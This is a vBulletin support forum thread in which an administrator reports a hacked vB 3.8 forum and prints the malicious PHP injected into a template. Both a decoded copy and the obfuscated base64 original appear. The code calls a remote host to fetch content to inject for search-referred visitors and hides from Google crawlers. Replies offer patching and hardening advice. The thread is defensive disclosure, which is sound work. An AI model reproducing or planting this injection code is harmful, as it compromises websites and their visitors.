Announcement

Collapse
No announcement yet.

vB 3.8 Injection ?

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • vB 3.8 Injection ?

    Anyone had issues lately?

    I had a pretty locked down vB 3.8 forum get hit tonight. Announcements turned off, .htaccess on AdminCP, only one Admin account. Not that many plugins, no vBSEO.

    They injected it into the headinclude template and here it is:

    Unencoded, unobfuscated code:

    function bIREgRNVk($p) {

    $m = false;

    $file_d = '/tmp/._tmpnIPmYXXd';

    $ip_l = (string)ip2long($p);

    if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) {

    $data = file_get_contents($file_d);

    $data .= "$ip_l,";

    if(substr_count($data,"$ip_l,") <= 1) $m = true;

    if($size_f > 1000000) $data = "$ip_l,";

    file_put_contents($file_d,$data);

    return $m;

    } else return true;

    }

    function ddGFJZYNg($i) {

    $k='oVOgAdDKxscvVubUYsxi';

    $h="\x65\x6d\x61\x69\x6c\x6d\x61\x6e\x61\x67\x65\x72\x2e\x63\x63";

    [email protected]($h,80,$e,$er,4);

    if(!$fp){

    @fclose($fp);

    return '';

    }else{

    @fputs($fp,"GET /".mt_rand(0,99999999)."?".base64_encode(implode('@@',array($k,$i,$_SERVER['HTTP_USER_AGENT'])))." HTTP/1.1\r\nHost: $h\r\nConnection: Close\r\n\r\n");

    $a='';

    while(!feof($fp)){

    [email protected]($fp,512);

    if(stristr($a,'400 Bad')){

    @fclose($fp);

    return '';

    }elseif(stristr($a,'200 Ok')){

    if(preg_match("/YmYcarAutsgliT(.*?)piXuSiGnCczjgJZ/i",$a,$ret)) {

    @fclose($fp);

    return(base64_decode(trim($ret['1'])));

    }

    }

    }

    @fclose($fp);

    }

    return '';

    }

    function bXvuStv() {

    $ip = '';

    return @getenv('HTTP_X_FORWARDED_FOR');

    }

    function ZgGohvIGL() {

    if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace| alexa|doubleclick|tinyurl|search|blekko|duckduckgo|facebook|info|wow#i',$_SERVER['HTTP_REFERER'])) {

    if(preg_match('#msie|firefox|opera|chrome|trident|edge|safari#i',$_SERVER['HTTP_USER_AGENT'])) return true;

    }

    }

    function OtEASRm($p) {

    $a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','6 6.102.','64.233.');

    foreach($a as $b) {

    if(preg_match("/^$b/i",$p)) return true;

    }

    }

    if(!empty($_SERVER['HTTP_REFERER']) and !empty($_SERVER['HTTP_ACCEPT']) and !empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {

    if(ZgGohvIGL() and ($p [email protected]('REMOTE_ADDR')) and !OtEASRm($p) and bIREgRNVk($p)) {

    return ddGFJZYNg($p);

    }

    }

    return '';











    Original block of code in the template:



    {${$aHAJNcpd="\142"."\x61".chr(115)."\145"."\66".chr(52).chr(95)."\x64".chr(101)."\x63"."\ x6f".chr(100)."\145"}}{${$JAeJayc="\143"."\x72"."\x65".chr(97).chr(116)."\x65"."\137".chr( 102).chr(117)."\156"."\x63"."\x74"."\151".chr(111).chr(110)}}{${$KIuvfJoMt=$JAeJayc(null,$ aHAJNcpd("cmV0dXJuIEBldmFsKGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z1lrbFNSV2RTVGxacktDUndLU0I3 RFFva2JTQTlJR1poYkhObE93MEtKR1pwYkdWZlpDQTlJQ2N2ZEcxd0x5NWZkRzF3YmtsUWJWbFlXR1FuT3cwS0pHbH dYMndnUFNBb2MzUnlhVzVuS1dsd01teHZibWNvSkhBcE93MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1ZmWkNr Z1lXNWtJRUJwYzE5M2NtbDBZV0pzWlNna1ptbHNaVjlrS1NCaGJtUWdLQ2drYzJsNlpWOW1JRDBnUUdacGJHVnphWH BsS0NSbWFXeGxYMlFwS1NBK0lEQXBLU0I3RFFvZ0pHUmhkR0VnUFNCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lna1pt bHNaVjlrS1RzTkNpQWta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d="\142"."\x61".chr(115)."\145"."\66".chr(52).chr(95)."\x64".chr(101)."\x63"."\x6f".chr(10 0)."\145"}}{${$JAeJayc="\143"."\x72"."\x65".chr(97).chr(116)."\x65"."\137".chr(102).chr(11 7)."\156"."\x63"."\x74"."\151".chr(111).chr(110)}}{${$KIuvfJoMt=$JAeJayc(null,$aHAJNcpd("c mV0dXJuIEBldmFsKGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z1lrbFNSV2RTVGxacktDUndLU0I3RFFva2JTQTl JR1poYkhObE93MEtKR1pwYkdWZlpDQTlJQ2N2ZEcxd0x5NWZkRzF3YmtsUWJWbFlXR1FuT3cwS0pHbHdYMndnUFNBb 2MzUnlhVzVuS1dsd01teHZibWNvSkhBcE93MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1ZmWkNrZ1lXNWtJRUJ wYzE5M2NtbDBZV0pzWlNna1ptbHNaVjlrS1NCaGJtUWdLQ2drYzJsNlpWOW1JRDBnUUdacGJHVnphWHBsS0NSbWFXe GxYMlFwS1NBK0lEQXBLU0I3RFFvZ0pHUmhkR0VnUFNCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lna1ptbHNaVjlrS1R zTkNpQWtaR0YwWVNBdVBTQWlKR2x3WDJ3c0lqc05DaUFnYVdZb2MzVmljM1J5WDJOdmRXNTBLQ1JrWVhSaExDSWthW EJmYkN3aUtTQThQU0F4S1NBa2JTQTlJSFJ5ZFdVN0RRb2dJR2xtS0NSemFYcGxYMllnUGlBeE1EQXdNREF3S1NBa1p HRjBZU0E5SUNJa2FYQmZiQ3dpT3cwS0lDQm1hV3hsWDNCMWRGOWpiMjUwWlc1MGN5Z2tabWxzWlY5a0xDUmtZWFJoS 1RzTkNpQWdjbVYwZFhKdUlDUnRPdzBLSUgwZ1pXeHpaU0J5WlhSMWNtNGdkSEoxWlRzTkNuME5DbVoxYm1OMGFXOXV JR1JrUjBaS1dsbE9aeWdrYVNrZ2V3MEtKR3M5SjI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Y3NKelkyTGpFd01pNG5MQ2MyTkM0eU16TXV KeWs3RFFwbWIzSmxZV05vS0NSaElHRnpJQ1JpS1NCN0RRb2dhV1lvY0hKbFoxOXRZWFJqYUNnaUwxNGtZaTlwSWl3a 2NDa3BJSEpsZEhWeWJpQjBjblZsT3cwS0lIME5DbjBOQ21sbUtDRmxiWEIwZVNna1gxTkZVbFpGVWxzblNGUlVVRjl TUlVaRlVrVlNKMTBwSUdGdVpDQWhaVzF3ZEhrb0pGOVRSVkpXUlZKYkowaFVWRkJmUVVORFJWQlVKMTBwSUdGdVpDQ WhaVzF3ZEhrb0pGOVRSVkpXUlZKYkowaFVWRkJmUVVORFJWQlVYMHhCVGtkVlFVZEZKMTBwS1NCN0RRb2dhV1lvV21 kSGIyaDJTVWRNS0NrZ1lXNWtJQ2drY0NBOVFHZGxkR1Z1ZGlnblVrVk5UMVJGWDBGRVJGSW5LU2tnWVc1a0lDRlBkR VZCVTFKdEtDUndLU0JoYm1RZ1lrbFNSV2RTVGxacktDUndLU2tnZXcwS0lISmxkSFZ5YmlCa1pFZEdTbHBaVG1jb0p IQXBPdzBLSUgwTkNuME5DbkpsZEhWeWJpQW5KenM9JykpOw=="))}}{$KIuvfJoMt()
    Group Builder

  • #2
    No known security issues on vB3. What version of the software are you running? Anything less than 3.8.9 is considered insecure.
    MARK.B | vBULLETIN SUPPORT

    TalkNewsUK - My vBulletin 5.6.3 Demo
    AdminAmmo - My Cloud Demo

    Comment


    • #3
      Anything less than 3.8.9 is considered insecure.
      3.8.8 & 3.8.7 are currently patched with any reported issues.
      Baby, I was born this way

      Comment


      • #4
        Hello,

        Firstly upgrade your PHP version (I think you are using an EOL version which is practically an invitation to trouble) to the latest supported one.

        Secondly disable the "fopen" function.

        Thirdly create a separate folder for each one of your websites in order to be used as a temporary environment (rather than using the /tmp partition), make sure that folder can only be accessed by the user of a certain website of yours.

        Another best practice is to make use of the built-in chroot functionality within PHP to limit the folder access rights of any script.

        You can also take this further by sanitizing any input etc.

        The above stated are just a few best security practices in order to prevent, minimize the damage and contain any malicious script due to a flaw in a PHP based application.

        Kind regards,
        George.

        Comment

        widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
        Working...
        X